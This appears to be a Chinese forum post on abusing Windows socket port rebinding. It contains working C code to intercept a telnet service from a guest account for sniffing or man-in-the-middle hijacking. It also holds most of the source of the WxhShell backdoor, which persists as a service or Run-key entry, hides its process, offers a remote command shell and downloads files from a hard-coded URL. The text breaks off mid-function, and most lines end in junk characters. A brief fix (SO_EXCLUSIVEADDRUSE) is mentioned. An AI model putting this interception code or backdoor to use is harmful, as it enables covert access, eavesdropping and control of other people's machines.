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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Ga>uFb}W~  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); w8Q<r.  
iRo.RU8>  
  saddr.sin_family = AF_INET; X!hIwiA,t  
E(pF:po  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); {PU!=IkTS  
)m3Uar  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Oc].@Jy  
Df =dt  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 YV% 5y1 i  
pW0dB_  
  这意味着什么?意味着可以进行如下的攻击: :e1o<JgPt  
~5 N)f UI\  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 -/C)l)V}  
O4 3YY2  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) $q?$]k|M`  
Wm~` ~P  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Dn9w@KO  
ocbB&  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  DhLqhME53  
sAn0bX  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 w>fdQ!RdP  
/PBaIoJE  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 eK_*2=;XRW  
#t8{R~y"gv  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 n%^ LPD  
Gc]~w D$  
  #include U6ZR->:  
  #include mbRq JT>@  
  #include gF=jf2{YX  
  #include    J&/lx${  
  DWORD WINAPI ClientThread(LPVOID lpParam);   JG[o"&Sd  
  int main() thi1kJ`L  
  { 8(g:HR*;  
  WORD wVersionRequested; b+-f.!j  
  DWORD ret; XKA&XpF  
  WSADATA wsaData; 5vAf7\*  
  BOOL val; WL,&-*JAW  
  SOCKADDR_IN saddr; rB~W Iu  
  SOCKADDR_IN scaddr; j:T/iH!YF  
  int err; []R? ViG  
  SOCKET s; o; a:Dd  
  SOCKET sc; 0 S_':r   
  int caddsize; GPhl4#'  
  HANDLE mt; X=JmF97  
  DWORD tid;   sbkQ71T:  
  wVersionRequested = MAKEWORD( 2, 2 ); }eQRN<}P  
  err = WSAStartup( wVersionRequested, &wsaData ); '3]p29v{  
  if ( err != 0 ) { g[ 0<m#"  
  printf("error!WSAStartup failed!\n"); v0Dq@Q1  
  return -1; &c(WE RW?-  
  } $mmup|;(  
  saddr.sin_family = AF_INET; >SN|?|2U/  
   9Etz:?)b  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 iI@jZVk  
02`$OTKz  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); v8gdU7Ll,  
  saddr.sin_port = htons(23); (6CN/A{qe  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) M2x["  
  { #*$P'r  
  printf("error!socket failed!\n"); OH^N" L  
  return -1; <e]Oa$  
  } q+ KzIde|%  
  val = TRUE; "LYh7:0s!k  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 J`q]6qf#  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Q-Ux<#  
  { \l"&A  
  printf("error!setsockopt failed!\n"); %<?0apO  
  return -1; E5el?=,i  
  } _zt1 9%Wg  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; - K%,^6  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 k%wn0Erd  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Xtz-\v#0o'  
P1b'%  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) pL1Q7&&c0  
  { 6iEhsL&K  
  ret=GetLastError(); zf4Ec-)  
  printf("error!bind failed!\n"); 9][(Iu]h7  
  return -1; qmTb-~  
  } YSJy`  
  listen(s,2); F/m^?{==~*  
  while(1) -LDCBc"  
  { '}g*!jL  
  caddsize = sizeof(scaddr); +X`V|E,no  
  //接受连接请求 6) oLus  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ihh4pD27g  
  if(sc!=INVALID_SOCKET) -[= drj9I  
  { svelYe#9z  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); yKXff1^M  
  if(mt==NULL) e__@GBG  
  { Ftw;Yz  
  printf("Thread Creat Failed!\n"); l$K,#P<)  
  break; AM"Nn L"  
  } 4!asT;`'  
  } Q6o(']0  
  CloseHandle(mt); R1F5-#?'E  
  } i |{Dd%4vK  
  closesocket(s); `r5 $LaD  
  WSACleanup(); T5Q{{@Q  
  return 0; 'Y$R~e^Y?  
  }   `c/*H29  
  DWORD WINAPI ClientThread(LPVOID lpParam) Y+4o B  
  { 8ul&x~2;X  
  SOCKET ss = (SOCKET)lpParam; 8<mjh0F-,  
  SOCKET sc; sS&Z ,A  
  unsigned char buf[4096]; e *(b  
  SOCKADDR_IN saddr; \;VhYvEH  
  long num; ve ~05mg  
  DWORD val; M3p   
  DWORD ret; hS[ yNwD  
  //如果是隐藏端口应用的话,可以在此处加一些判断 t1VH doNN  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   2^t#6XBk/  
  saddr.sin_family = AF_INET; 2<&Bw2  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); -p-B2?)A  
  saddr.sin_port = htons(23); `X,yM-(  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) rC:?l(8ng3  
  { L,d LE-L  
  printf("error!socket failed!\n"); TI9UXa:V\  
  return -1; w ;daC(:  
  } hYQ_45Z*?  
  val = 100; c4_`Ew^k  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) TF2>4 p  
  { kc7lc|'z  
  ret = GetLastError(); mzQ`N}]T:  
  return -1; b}T6v  
  } zkTp`>9R  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) LPG`^SA  
  { %{3 aW>yx  
  ret = GetLastError(); awv De  
  return -1; h25G/`  
  } IHgeQ F ~  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) f84:hXo6  
  { ,uzN4_7u  
  printf("error!socket connect failed!\n"); *. 3N=EO  
  closesocket(sc); fzjU<?}  
  closesocket(ss); | ohL]7b<  
  return -1; T&86A\D\z  
  } "x@='>:$  
  while(1) p8s:g~ W  
  { "<}&GcJbz  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 J5h+s-'  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 &V|>dLT>A  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 e4~>G?rM_  
  num = recv(ss,buf,4096,0); "Jjs"7  
  if(num>0) zEZLKWm9-  
  send(sc,buf,num,0); 0!z@2[Pe66  
  else if(num==0) 0Ok,oW {  
  break; & c Ny  
  num = recv(sc,buf,4096,0); Mv c`)_Md  
  if(num>0) pfx3C*  
  send(ss,buf,num,0);  0l;<5  
  else if(num==0) H+ h07\? %  
  break; @!&}}"<  
  } *9)SmS s  
  closesocket(ss); b3wM;jv  
  closesocket(sc); {JV@"t-X3"  
  return 0 ; "EU{8b  
  } G/%iu;7ZCb  
>NB?& |  
%4 \OPw&  
========================================================== 9WJz~SP+vR  
E~<`/s  
下边附上一个代码,,WXhSHELL IrMl:+t\  
1FtM>&%4  
========================================================== uxg9yp@|  
X0 -IRJ[  
#include "stdafx.h" dD<fn9t  
\c[IbL07  
#include <stdio.h> Mg#j3W}]  
#include <string.h> 2MA]jT  
#include <windows.h> #_mi `7!B#  
#include <winsock2.h> DF6c|  
#include <winsvc.h> qS&%!  
#include <urlmon.h> r_EcMIuk  
PA6=wfc  
#pragma comment (lib, "Ws2_32.lib") y2O4I'/5<  
#pragma comment (lib, "urlmon.lib") Q-#$Aa  
l{w#H|]  
#define MAX_USER   100 // 最大客户端连接数 smG>sEp2  
#define BUF_SOCK   200 // sock buffer _2btfY1U  
#define KEY_BUFF   255 // 输入 buffer LQnkcV  
10#oG{ 9  
#define REBOOT     0   // 重启 |^28\sm2e  
#define SHUTDOWN   1   // 关机 r%DFve:%  
50dGBF  
#define DEF_PORT   5000 // 监听端口 P;PQeXKw  
iR$<$P5  
#define REG_LEN     16   // 注册表键长度 K^r)CCO  
#define SVC_LEN     80   // NT服务名长度 E,n}HiAz7V  
x\2?ym@  
// 从dll定义API $8l({:*q0  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Wl h~)   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); B*htN  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); R(j1n,c]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); D@EO=08<b  
,Ma.V\T[  
// wxhshell配置信息 Y32O-I!9u  
struct WSCFG { 4/ X/>Y1  
  int ws_port;         // 监听端口 ^$%Z! uz  
  char ws_passstr[REG_LEN]; // 口令 )Qm[[pnj  
  int ws_autoins;       // 安装标记, 1=yes 0=no "uLjIIl  
  char ws_regname[REG_LEN]; // 注册表键名 +!f=jg06  
  char ws_svcname[REG_LEN]; // 服务名 ( 6(x'ByT  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 E1;@=#t2i  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 q_ =b<.;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "o& E2#  
int ws_downexe;       // 下载执行标记, 1=yes 0=no (wc03,K^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +l^LlqA  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5-)#f?  
>hY" 3  
}; }AZc8o-  
9;F bnp'  
// default Wxhshell configuration UZ8?[  
struct WSCFG wscfg={DEF_PORT, -st7_3  
    "xuhuanlingzhe", _ >` X]I;  
    1, @v\*AYr'M  
    "Wxhshell", q.Nweu!jQ  
    "Wxhshell", @?C#r.vgp  
            "WxhShell Service", * y^OV_n-8  
    "Wrsky Windows CmdShell Service", Cw5%\K$=  
    "Please Input Your Password: ", R~bC,`Bh  
  1, , n !vsIN  
  "http://www.wrsky.com/wxhshell.exe", a:~@CUD >I  
  "Wxhshell.exe" _w@qr\4i=  
    }; "QoQ4r<|  
3cj3u4y  
// 消息定义模块 !? ^h;)a  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; P?BGBbC  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {f9{8-W <u  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0oy-os  
char *msg_ws_ext="\n\rExit."; jClj_E  
char *msg_ws_end="\n\rQuit."; 7\o!HMfK  
char *msg_ws_boot="\n\rReboot..."; H1!iP$1#V  
char *msg_ws_poff="\n\rShutdown..."; SM[Bv9|0  
char *msg_ws_down="\n\rSave to "; >]'yK!a?  
9*6]&:fm  
char *msg_ws_err="\n\rErr!"; \qsw"B*tv`  
char *msg_ws_ok="\n\rOK!"; dBO@6*N4c  
VC5_v62&.  
char ExeFile[MAX_PATH]; KlK`;cr?  
int nUser = 0; U=bEA1*@0  
HANDLE handles[MAX_USER]; eMK+X \  
int OsIsNt; TG n-7 88  
VcK}2<8:+~  
SERVICE_STATUS       serviceStatus; v+6@ cC  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; N__H*yP  
0"pVT%b  
// 函数声明 _F p>F  
int Install(void); OPpjuIRv  
int Uninstall(void); DjMf,wX-{  
int DownloadFile(char *sURL, SOCKET wsh); (Lh#`L?x  
int Boot(int flag); s!/TU{8J  
void HideProc(void); I[o*RKT'"  
int GetOsVer(void); /R X1UQ.s  
int Wxhshell(SOCKET wsl); O!D/|.Q#%  
void TalkWithClient(void *cs); u% 2<\:~j  
int CmdShell(SOCKET sock); ]L2Oz  
int StartFromService(void); elJ)4Em  
int StartWxhshell(LPSTR lpCmdLine); 2EQ 6J  
0;sRJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8GJdRL(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); .AV)'j#6P  
a :SQ16_?  
// 数据结构和表定义  Z:2I/  
SERVICE_TABLE_ENTRY DispatchTable[] = 33:DH}  
{ 1|,Pq9  
{wscfg.ws_svcname, NTServiceMain}, [%HIbw J  
{NULL, NULL} ,]R8(bD)  
}; 3E} An%  
8:ggECD  
// 自我安装 us?&:L|!=  
int Install(void) 4n 3Tp{Y}  
{ x}fn 'iUnm  
  char svExeFile[MAX_PATH]; OLq 0V3m  
  HKEY key; B68H&h]D#'  
  strcpy(svExeFile,ExeFile); Z.&\=qiY  
x@P{l&:>  
// 如果是win9x系统,修改注册表设为自启动 6FfOH<\z6i  
if(!OsIsNt) { }:iBx  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { NTs;FX~g[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nbofYI$rd&  
  RegCloseKey(key); t$^l<ppQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D)='8jV7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0Flu\w/+P  
  RegCloseKey(key); x )5V.q  
  return 0; j{#Wn !,  
    } 'p)Q68;&  
  } =4C}{IL  
} "YFls#4H-  
else { h?@G$%2  
)tZ`K |  
// 如果是NT以上系统,安装为系统服务 3bC yTZk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <*'cf2Q$Av  
if (schSCManager!=0) @%tXFizh  
{ q5 &Ci`  
  SC_HANDLE schService = CreateService OKuD"   
  ( HgJb4Fi  
  schSCManager, ~pP0|B*%  
  wscfg.ws_svcname, w=r&?{  
  wscfg.ws_svcdisp, 2x$x; \*j  
  SERVICE_ALL_ACCESS, L3y5a?G  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^<V9'Ut   
  SERVICE_AUTO_START, _|c&@M  
  SERVICE_ERROR_NORMAL, #S QXTR  
  svExeFile, 5#:pT  
  NULL, lH BI  
  NULL, bk#xiuwT  
  NULL, fhp)S",  
  NULL, RcY[rnI6  
  NULL T)u4S[ &  
  ); s(@h 2:j  
  if (schService!=0) wV <7pi  
  { &R$Q\ ,  
  CloseServiceHandle(schService); kv|,b  
  CloseServiceHandle(schSCManager); _ P ,@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ESQ!@G/n  
  strcat(svExeFile,wscfg.ws_svcname); O?K./So&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { sn\;bq  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));  o sdOw8  
  RegCloseKey(key); tR`S#rk  
  return 0; #JNy  
    } gzfbzt}?  
  } H9"=  p  
  CloseServiceHandle(schSCManager); oC dGQ7G}  
} T@+ClZi  
} OS7R Qw1  
1 0N,?a  
return 1; B< ;==|  
} &a~=b,  
Jgx8-\ 8  
// 自我卸载 w[fDk1H)  
int Uninstall(void) :uCdq`SaQl  
{ ?A=b6Um  
  HKEY key; 4^Qi2[w  
Z}Cqd?_')  
if(!OsIsNt) { TnxKR$Hoh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5rN _jC*U  
  RegDeleteValue(key,wscfg.ws_regname); 2RNrIU I2  
  RegCloseKey(key); Ghv{'5w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _\AUQ{  
  RegDeleteValue(key,wscfg.ws_regname); nsJ:Osq|  
  RegCloseKey(key); ;x[pM_  
  return 0; ")\aJ8  
  } W}gVIfe  
} = t+('  
} _x\m|SF_g  
else { qb7^VIo%c  
}5S2p@W)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  Dt}dp_  
if (schSCManager!=0) F?*k}]Gi  
{ G\rj?%  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [!+D <Y  
  if (schService!=0) !'c| N9  
  { uCUu!Vfeg  
  if(DeleteService(schService)!=0) { c8Pb  
  CloseServiceHandle(schService); jPwef##~7  
  CloseServiceHandle(schSCManager); c>MY$-PD  
  return 0; >q|Q-I~gs  
  } PZ]5Hf1"  
  CloseServiceHandle(schService); Kdt|i93  
  } o<\6Rm  
  CloseServiceHandle(schSCManager); LD.Ck6@  
} Z;*`f d?8  
} v5Y@O|i#  
&+;uZ-x  
return 1; cIZc:   
} FLbZ9pX}  
Baq ~}B<  
// 从指定url下载文件 ?[SVqj2-  
int DownloadFile(char *sURL, SOCKET wsh) ./iXyta  
{ 9eSRCLhgD  
  HRESULT hr; /RF%1!M K  
char seps[]= "/"; 1M+Zkak7p  
char *token; NhlJ3/J j  
char *file; 5ZsDgOeY  
char myURL[MAX_PATH]; ) hdgz$cl  
char myFILE[MAX_PATH]; :uR>UDlPX  
ZQLB`n @  
strcpy(myURL,sURL); {5x>y:v  
  token=strtok(myURL,seps); Y@:3 B:m#  
  while(token!=NULL) m.1 46  
  { m^0A?jBrR  
    file=token; Qv!rUiXq  
  token=strtok(NULL,seps); pGk"3.ce  
  } eiB(VOJ  
Q<'@V@H  
GetCurrentDirectory(MAX_PATH,myFILE); \]a uSO  
strcat(myFILE, "\\"); PJwEA  
strcat(myFILE, file); .HDebi  
  send(wsh,myFILE,strlen(myFILE),0); "o==4?*L  
send(wsh,"...",3,0); =tq7z =k  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); E3tj/4:L  
  if(hr==S_OK) '}zT1F* p=  
return 0; *^6k[3VY  
else nOuN|q=C  
return 1; 2mOfsn d@  
AO8:|?3S  
} T g\hx>  
yy))Z0E5  
// 系统电源模块 =#'+"+lQ }  
int Boot(int flag) GU#Q}L2  
{ >0M:&NMda  
  HANDLE hToken; 0~.)GG%R>D  
  TOKEN_PRIVILEGES tkp; !G>(j   
C zpsqTQ  
  if(OsIsNt) { B%(K0`G#X  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Fj3^ #ly  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |$w0+bV*  
    tkp.PrivilegeCount = 1; 0$?qoS  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6m\*]nOy4  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); <[FS%2,0mb  
if(flag==REBOOT) { {6YxN&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) hgif]?:C<  
  return 0; 1l~.R#WG&  
} PIpWa$b  
else { rJp?d9B  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0O^r.&{j>  
  return 0; KMe.i'  
} >+f'!*%7He  
  } q4zSS #]A  
  else { nYgx9Q"<om  
if(flag==REBOOT) { &}O8w77  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) SE-} XI\  
  return 0; %N1T{   
} B~BUW WMfp  
else { .yG8B:7N2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {;;eOxOP|  
  return 0; \hu':@}  
} 8}J(c=4Gk  
} .8%vd  
?^eJ:  
return 1; f5N<3m=  
} MsSoX9A{D  
+:b(%|  
// win9x进程隐藏模块 LP8o7%sv!  
void HideProc(void) p0?o<AA%O  
{ >Ziy1Dp  
{\F2*P  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Z!k5"\{0pE  
  if ( hKernel != NULL ) mn Qal>0~  
  { e$x4Ux7*"  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @ > cdHv  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?F!W#   
    FreeLibrary(hKernel); `7F@6n   
  } %oMWcgsdJi  
0>8ZN!@K  
return; % d4+Ctrp-  
} ;c nnqT6  
Ae3,W  
// 获取操作系统版本 ;}$Z 80  
int GetOsVer(void) k`{RXx  
{ .$n$%|"H-  
  OSVERSIONINFO winfo; w 5!ndu  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); KC#kss  
  GetVersionEx(&winfo); J,.j_ii`!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) WFQ*s4 R(  
  return 1; !XkymIX~O.  
  else k{zs578h2  
  return 0; 7=; D0SS  
} t@l(xnsV  
.Gjr`6R  
// 客户端句柄模块 dw'<"+zO  
int Wxhshell(SOCKET wsl) |C&%S"*+D  
{ U#OWUZ  
  SOCKET wsh; ,s\x]bh  
  struct sockaddr_in client; Qo]vpp^[#  
  DWORD myID; X v`2hf  
XPGL3[w\V  
  while(nUser<MAX_USER) 0EcC  
{ t$ACQ*O  
  int nSize=sizeof(client); aslU`#"  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )w^GP lh  
  if(wsh==INVALID_SOCKET) return 1; NKupOJJq  
dcV,_  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {d&X/tT  
if(handles[nUser]==0) )er?*^9Z  
  closesocket(wsh); hP,b-R9\  
else jsK|D{m?  
  nUser++; c,+L +  
  } 6~:W(E}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); z" b/osV  
%AzPAWcN  
  return 0; '-$))AdD  
} wUh3Hd'  
GlXA-p<  
// 关闭 socket x*5 Ch~<k  
void CloseIt(SOCKET wsh) BnKP7e  
{ ]}UeuF\  
closesocket(wsh); u=_bM2;~Z  
nUser--; 5bu[}mJ  
ExitThread(0); .5jnKU8NF  
} >X-ed  
s BeP;ox  
// 客户端请求句柄 `@VM<av  
void TalkWithClient(void *cs) )x_W&*oZ  
{ HPu/. oE  
krEH`f  
  SOCKET wsh=(SOCKET)cs; $gj+v+%N  
  char pwd[SVC_LEN]; qcR|E`k-G  
  char cmd[KEY_BUFF]; t~+{Hr) #y  
char chr[1]; RT8_@8  
int i,j; c,3'wnui  
0})7of  
  while (nUser < MAX_USER) { xI.Orpw  
4?P%M"\Iv  
if(wscfg.ws_passstr) { Fi?U)T+%+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); lp37irI:  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); JLFFh!J  
  //ZeroMemory(pwd,KEY_BUFF); J};u25:}  
      i=0; A{DIp+  
  while(i<SVC_LEN) { WI*^+E&=*  
c%xED%X9  
  // 设置超时 F]URf&U  
  fd_set FdRead; t  z +  
  struct timeval TimeOut; J_y<0zF**  
  FD_ZERO(&FdRead); (`q6G d  
  FD_SET(wsh,&FdRead); 60U{ e}Mkb  
  TimeOut.tv_sec=8; !0!P.Q8>&  
  TimeOut.tv_usec=0; +l[Z2mW  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); i5L+8kx4  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,T,B0  
>q} !>k$B  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z=e[ !c  
  pwd=chr[0]; C{d 8~6  
  if(chr[0]==0xd || chr[0]==0xa) { `g4Ekp'Rp[  
  pwd=0; pQ[o3p!&9  
  break; 0x3 h8fs  
  } '0])7jq  
  i++; Q5`+eQ?_\  
    } eCPKpVhP  
% +t  
  // 如果是非法用户,关闭 socket m<,y-bQ*(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); z1{E:~f  
} a6 #{2q  
p ?Ij-uo"o  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); WcZo+r  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Xj})?{FP  
X1 0"G~0  
while(1) { >tXufzW  
@Le ^-v4  
  ZeroMemory(cmd,KEY_BUFF); n!CP_  
: e0R7sj  
      // 自动支持客户端 telnet标准   G]m[ S-  
  j=0; *1ID`o  
  while(j<KEY_BUFF) { U l7pxzj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @> +^<  
  cmd[j]=chr[0]; pZ@W6}  
  if(chr[0]==0xa || chr[0]==0xd) { /`j  K  
  cmd[j]=0;  OGE#wG"S  
  break; t`Y1.]@U  
  } R5'Z4.~  
  j++; =@ L5  
    } 9Ww=hfb5UW  
*'`3]!A  
  // 下载文件 Fb\2df{@  
  if(strstr(cmd,"http://")) { sa0^1$(<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Rrs`h `'-  
  if(DownloadFile(cmd,wsh)) r=P$iG'&  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9`gGsC  
  else !7,K9/"  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @6I[{{>X  
  } J4 '!  
  else { k?|zIu  
sGDrMAQt  
    switch(cmd[0]) { {%+3D,$)  
  1Hk<_no5  
  // 帮助 "z(fBnv  
  case '?': { 4?*"7t3  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); i}$N&  
    break; S#0|#Z5qD  
  } x`=5l`  
  // 安装 yw3U"/yw  
  case 'i': { f-f\}G&G  
    if(Install()) $.3CiM }~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H/v37%p7  
    else 9q0,K" x)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C Sk  
    break; \.{pZMM  
    } Z+"E*  
  // 卸载 ^&G O4u  
  case 'r': { E{k%d39>  
    if(Uninstall()) D !D%.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); onJ[&f  
    else  h?pGw1Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dPdHY&#`  
    break; 1rm$@L  
    } H @&"M%  
  // 显示 wxhshell 所在路径 I` n1M+=%  
  case 'p': { gQ+_&'C  
    char svExeFile[MAX_PATH]; "6 Hj ji@A  
    strcpy(svExeFile,"\n\r"); UXdC<(vK  
      strcat(svExeFile,ExeFile); 0wE8Gm G  
        send(wsh,svExeFile,strlen(svExeFile),0); $Ln2O#  
    break; 2QuypVC ]  
    } Om?:X!l"  
  // 重启 *}WqYqOow  
  case 'b': { a~N)qYL:  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ])ZJ1QL1  
    if(Boot(REBOOT)) VT~ ^:-]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9787uj]Y}H  
    else { MvjwP?J]  
    closesocket(wsh); Xk fUPbU  
    ExitThread(0); fO}1(%}d  
    }  S~5 =1b  
    break; kU9AfAe  
    } FVLA^$5c  
  // 关机 FU v)<rK  
  case 'd': { Z YO/'YW  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;>hPHx  
